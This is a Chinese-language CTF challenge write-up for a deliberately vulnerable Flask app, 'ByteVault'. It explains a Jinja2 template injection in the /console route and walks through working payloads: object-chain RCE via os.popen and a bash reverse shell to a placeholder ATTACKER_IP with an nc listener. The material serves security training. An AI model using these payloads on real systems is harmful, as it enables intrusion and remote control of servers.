kaustav258/The-Templator

GitHub: kaustav258/The-Templator

Stars: 0 | Forks: 0

# ByteVault — CTF 挑战笔记 ## 类别:Web | 难度:中等 ## 挑战描述(展示给玩家) ## 漏洞 **位置:** `POST /console` — 表单字段 `code` **根本原因:** `app.py` 中的 `/console` 路由将用户提交的代码 直接插值到一个 Jinja2 模板字符串中(通过 Python f-string),然后 对结果调用 `render_template_string()` — 没有任何净化: ``` template = f""" ...
{code}
← code lands here in the raw template ... """ return render_template_string(template) ``` `code` 的值在 Jinja2 解析之前就被嵌入到 *模板源* 中。 因此,嵌入在 `code` 中的任何 Jinja2 表达式都会作为模板逻辑执行—— “沙箱”根本没有执行 Python。它只是一个具有迷惑性的诱饵。 ## 利用路径 ### 步骤 1 — 发现异常 访问 `/console`。输入一段正常的 Python 片段: ``` print("hello") ``` 注意输出只是回显原始代码——它并没有执行任何东西。 “沙箱”是假的。 ### 步骤 2 — 探测 SSTI 尝试注入 Jinja2 表达式而不是 Python 代码: ``` {{7*7}} ``` 如果输出显示 `49` —— 说明存在服务器端模板注入漏洞! ### 步骤 3 — 确认 Python 对象访问 ``` {{config}} ``` 返回 Flask 配置转储 —— 确认 Jinja2 拥有完整的 Python 上下文。 ``` {{self.__class__.__mro__}} ``` 返回 MRO 链 —— 确认无限制的 Python 对象遍历。 ### 步骤 4 — 通过 os.popen 实现 RCE ``` {{config.__class__.__init__.__globals__['os'].popen('id').read()}} ``` 应返回类似内容:`uid=33(www-data) gid=33(www-data) groups=33(www-data)` ### 步骤 5 — 反向 Shell 在攻击者机器上设置监听: ``` nc -lvnp 4444 ``` 在控制台代码框中提交此载荷: ``` {{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read()}} ``` 或者通过子类链调用 `subprocess.Popen`: ``` {{''.__class__.__mro__[1].__subclasses__()[]( ['bash','-c','bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'], stdout=-1,stderr=-1 ).communicate()}} ``` ### 步骤 6 — 获取 Flag ``` whoami # www-data cat /home/www-data/user.txt ``` ## 为何这比搜索版本更好 | 方面 | 搜索框 SSTI | 控制台 SSTI | |---|---|---| | 可信度 | 中等 —— 为什么搜索会渲染模板? | 高 —— “Python 沙箱”自然让人联想到代码执行 | | 误导 | 无 | 强烈 —— 玩家会假设真的在执行代码 | | 干扰项 | 无 | 假的“受限环境”提示制造虚假信心 | | 发现路径 | 明显的反射 → 测试 `{{7*7}}` | 玩家必须先意识到控制台 *并未* 执行 Python | | 真实性 | 通用 | 模仿真实的“在线评测/沙盒”应用 | ## 部署 ``` cd bytevault-ctf-v2/ docker build -t bytevault-ctf . docker run -d -p 5000:5000 --name bytevault bytevault-ctf ``` ## 作者 Kaustav Das
标签:Flask, Jinja2, OS命令注入, Python, RCE, SSTI, Web安全, 代码执行, 伪造沙箱, 反序列化, 命令执行, 字节宝库, 攻击链, 无后门, 服务端模板注入, 模板注入, 沙箱逃逸, 漏洞分析, 策略引擎, 网络安全挑战, 蓝队分析, 路径探测